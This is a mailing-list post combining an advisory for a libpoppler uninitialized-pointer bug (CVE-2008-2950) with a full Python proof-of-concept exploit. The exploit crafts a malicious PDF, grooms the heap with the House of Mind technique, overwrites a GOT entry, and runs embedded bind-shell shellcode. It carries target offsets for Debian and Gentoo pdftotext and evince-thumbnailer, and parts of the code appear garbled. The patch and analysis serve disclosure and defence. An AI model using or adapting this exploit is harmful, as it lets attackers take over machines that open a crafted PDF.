hi. I was in doubt about releasing this because of there is no official patch. I suppose at this point anyone could accomplish the same thing so, again I'm in doubt. A friend once told me that if in doubt take your pants off. I've already tried that and I didn't earn no resolution to my conflict so.. I thought I should try the internet version of that strategy. So here we are, enjoy... f/ ''' #OCERT ADV #2008-007 libpoppler uninitialized pointer Description: The poppler PDF rendering library suffers a memory management bug which leads to arbitrary code execution. The vulnerability is present in the Page class constructor/destructor. The pageWidgets object is not initialized in the Page constructor if specific conditions are met, but it is deleted afterwards in the destructor regardless of its initialization. Specific PDF files can be crafted which allocate arbitrary memory to trigger the vulnerability. A new poppler version addressing the issue is scheduled to be released on July 30th according to maintainer. The following patch fixes the issue: diff --git a/poppler/Page.cc b/poppler/Page.cc index b28a3ee..72a706b 100644 --- a/poppler/Page.cc +++ b/poppler/Page.cc @@ -230,7 +230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) { Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) { Object tmp; - + pageWidgets = NULL; //Security fix ok = gTrue; xref = xrefA; num = numA; Affected version: Poppler <= 0.8.4 Fixed version: Poppler, N/A Credit: vulnerability report, patch and PoC code received from Felipe Andres Manzano . CVE: CVE-2008-2950 Timeline: 2008-06-27: vulnerability report received 2008-06-28: contacted poppler maintainers and affected vendors 2008-06-30: maintainer confirms issue and patch 2008-07-07: advisory release References: Permalink: http://www.ocert.org/advisories/ocert-2008-007.html ####END OCERT Sumary: ======= The libpoppler pdf rendering library, can free uninitialized pointers, leading to arbitrary code execution. This vulnerability results from memory management bugs in the Page class constructor/destructor. Technical Description - Exploit/Concept Code: ============================================= Tests were performed using libpoppler util pdftotext taken from git://git.freedesktop.org/git/poppler/poppler. Other version where tried succesfully (the ones shiped with debian/gentoo). In the initialization of a Page object and under certain conditions a member object skips initialization, but then is eventualy deleted. This can be conducted to the situation in which an arbitrary pointer is passed to the libc free and so the it gets apropiate for the malloc maleficarum to enter the scene. Look at the Page class constructor on Page.cc:231. First at the begining of the function the member object pageWidgets isnt initialized then it tries to check if the type of the annotations proposed on the pdf file ar correct; if not it bails out to the label err2. Note that is some incorcondance on the type of the anotation arise the member variable pageWidgets is never initialized! Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) { Object tmp; [...] // annotations pageDict->lookupNF("Annots", &annots); if (!(annots.isRef() || annots.isArray() || annots.isNull())) { error(-1, "Page annotations object (page %d) is wrong type (%s)", num, annots.getTypeName()); annots.free(); goto err2; } // forms pageWidgets = new FormPageWidgets(xrefA, this->getAnnots(&tmp),num,form); tmp.free(); [...] err2: annots.initNull(); err1: contents.initNull(); ok = gFalse; } But in the Page class destructor, Page.cc:309, pageWidgets is deleted without any consideration. The Page destructor is inmediatelly called after the erroneous Page construction. Page::~Page() { delete pageWidgets; delete attrs; annots.free(); contents.free(); } It is worth mentioning that the pdf rendering scenario is friendly with the heap massage technics because you will find lots of ways to allocate or allocate/free memory in the already probided functionality. In the POC I have used repetidely the 'name' of the fields of a pdf dictionary to allocate memory. Each name allocates up to 127bytes and apparently there is no limit in the number of fields. The following excerpt is a sample verification of the existence of the problem : localhost expl-poppler # python poppler-exploit-rc8.py gentoo-pdftotext >test.pdf localhost expl-poppler # pdftotext test.pdf Error: PDF file is damaged - attempting to reconstruct xref table... Error: Annotation rectangle is wrong type Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Page annotations object (page 3) is wrong type (integer) Error: Page count in top-level pages object is incorrect Error: Couldnt read page catalog Trace/breakpoint trap :) Further research should be done to accomodate the heap for other applications like evince: localhost expl-poppler # evince test.pdf (evince:8912): GnomeUI-WARNING **: While connecting to session manager: Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed. ** (evince:8912): WARNING **: Service registration failed. ** (evince:8912): WARNING **: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. Error: PDF file is damaged - attempting to reconstruct xref table... Error: Annotation rectangle is wrong type Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Bad bounding box for annotation Error: Page annotations object (page 3) is wrong type (integer) *** glibc detected *** evince: munmap_chunk(): invalid pointer: 0x08100468 *** Note that 0x08100468 is still a provided pointer. But in this try some malloc structure like _heap_info (see. house of mind) is not correctly aligned any more. Maybe evince-thumbnailer which is (probably monothreaded) is an easier target. Patch ===== diff --git a/poppler/Page.cc b/poppler/Page.cc index b28a3ee..72a706b 100644 --- a/poppler/Page.cc +++ b/poppler/Page.cc @@ -230,7 +230,7 @@ GBool PageAttrs::readBox(Dict *dict, char *key, PDFRectangle *box) { Page::Page(XRef *xrefA, int numA, Dict *pageDict, PageAttrs *attrsA, Form *form) { Object tmp; - + pageWidgets = NULL; //Security fix ok = gTrue; xref = xrefA; num = numA; POC: === Written in pyploit. It can be used 2 ways , one selecting a preconfigured target like *gentoo-pdftotext* or the other in which you could pass some malloc/free execution trace moddifing parameters. ''' ########################################################################## #### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar #### #### some shit on http://felipe.andres.manzano.googlepages.com/home #### ########################################################################## import struct import struct import math import os import sys ## print "%.400f"%d wont work :( ... so a quick double printing class class Doubles: def __init__(self, precision=400): self.precision=precision def pdficateint(self,i1,i2): s = struct.pack("@L",i1) + struct.pack("@L",i2) return self.pdficatestr(s) def pdficate(self,s): rslt = " " for pos in range (0,len(s)/8): rslt+=self.pdficatestr(s[(pos*8):(pos*8)+8])+" " return rslt; def pdficatestr(self, s): d = struct.unpack("d",s)[0] rslt=" " if(d<0.0): rslt+="-" d=-d rslt+="%d."%int(math.floor(d)) myd=math.floor(d) scale=0.1 nines=0 for p in range(1,self.precision): for i in range(1,10): if (myd+scale*i) > d: i-=1 break if i==9: if nines>6: return rslt else: nines+=1 else: nines=0 rslt+=("%02d"%i)[1] myd+=scale* i scale=scale*0.1 return rslt ##From Malloc maleficarum ##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt class HouseOfMind: HEAP_MAX_SIZE=(1024*1024) JMP='\xeb' NOP='\x90' PAD='\x00' PREV_INUSE=0x1 IS_MMAPPED=0x2 NON_MAIN_ARENA=0x4 def __init__(self, base, where, payload, entrypoint): self.base=base self.where=where-0xc self.heap_info = (base+self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1) self.payload=payload self.entrypoint=entrypoint self.chunkaddress=0 if (self.entrypoint > 0xff - 8): throw ## lendian, 32bit only ## See The Malloc Maleficarum / House of Mind def mind(self): rslt = "" #first we add padding to reach the next Heap border rslt+=self.PAD*(self.heap_info-self.base) #now we add a _heap_info pinting to a malloc_state of our own #and dictating a generous size for this *heap* ##arena.c:59 //struct _heap_info rslt += struct.pack(" unlocked. rslt += struct.pack(" +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of previous chunk, if allocated | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of chunk, in bytes |M|P| # mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | User data starts here... . # . . # . (malloc_usable_size() bytes) . # . | #nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of chunk | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ #chunk 0 There isn't a single reason for this to exist * wabaaaaaaaaaa! # rslt += struct.pack(">\nstream...\nendstream\n"])) catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Outlines", "3 0 R") catalog.add("Pages", "4 0 R") catalog.add("AcroForm", "<>") #for i in range(0,1000): # catalog.add( "C"*82 + "%05d"%i, 0) outlines = PDFDict() outlines.add("Type", PDFName("Outlines")) outlines.add("Count",0) pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids","[ 8 0 R 6 0 R 5 0 R ]") pages.add("Count","3") doc.add(PDFObject([catalog])) doc.add(PDFObject([outlines])) doc.add(PDFObject([pages])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "0") #malloc-fill-free lots of chunks of the size then used by Page class(88) for pagesize in range(88,126): payload = ("".join(["#%02x"%ord(struct.pack("@L",hm.chunkaddress)[i]) for i in range (0,4)]))*19 payload += "B"*(pagesize-(len(payload)/3)) for i in range(0,10): page1.add(payload, 0) doc.add(PDFObject([page1])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "[7 0 R 7 0 R 7 0 R 7 0 R]") #massage session 1 size=127 for i in range(0,massage[0]): page1.add( "A"*(size-5)+("%05d"%(i)), "B"*size) doc.add(PDFObject([page1])) annots = PDFDict() annots.add("Subtype","/Text") annots.add("BS", "<? "0.0 "*massage[2] + " ]>>") annots.add("FT", "/Tx") doc.add(PDFObject([annots])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "[7 0 R]") doc.add(PDFObject([page1])) doc.add(PDFObject(["<<>>"])) doc.add(PDFObject(["[ /PDF ]"])) return doc.__str__() ##Main ## Not every shellcode will work by now ## Only the ones that taken by 8bytes form an ieee754 double presicion float ## with an exponent not too positive ... :) ## linux_ia32_bind - LPORT=4444 Size=84 Encoder=None http://metasploit.com scode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" scode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" scode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" scode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" scode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" scode += "\x89\xe1\xcd\x80" #expl = PopplerExpl( ('\xcc'+'\x90')*((160-16)/2)) expl = PopplerExpl(scode) targets = { "gentoo-pdftotext":(0x08100000, 0x804c014, 1863, 20, 400), "debian4-pdftotext":(0x08100000, 0x804bb18, 1879, 33, 400), "gentoo-evince-thumbnailer": (0x8100000, 0x080712c4, 907, 34, 200), } if len( sys.argv )==1: print "Comments -> fmanzano@fceia.unr.edu.ar" print "Usage 1:" print " %s "%sys.argv[0], targets.keys() print "Usage 2:" print " %s massage1 massage2 massage3 base got"%sys.argv[0] print " The idea here is to align the _heap_info struct that commences with 0x08?00010 " print " to the address 0x8?0000. For this pourpose move massage1/2/3. " print " THIS STUPIDLY SIMPLE METHOD WOULD WORK FOR VERY FEW APPS !" print " base is the 1024*1024 bytes aligned address to which we are trying to align everything" print " got is the addres of the got where the thing is going to write the shellcode address" print " BTW by now the shellcode is nop;int 3;nop...grooovy!.. NOT" elif len( sys.argv )>2: print expl.make(int(sys.argv[4][2:],16), int(sys.argv[5][2:],16), (int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3]))) else: #base: the expected heap limit (08100000,08200000,....08f00000... ) #got: address of the got entry to change #chinesse massage base,got,massage1,massage2,massage3 = targets[sys.argv[1]] print expl.make(base,got,(massage1,massage2,massage3)) #thnks A _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/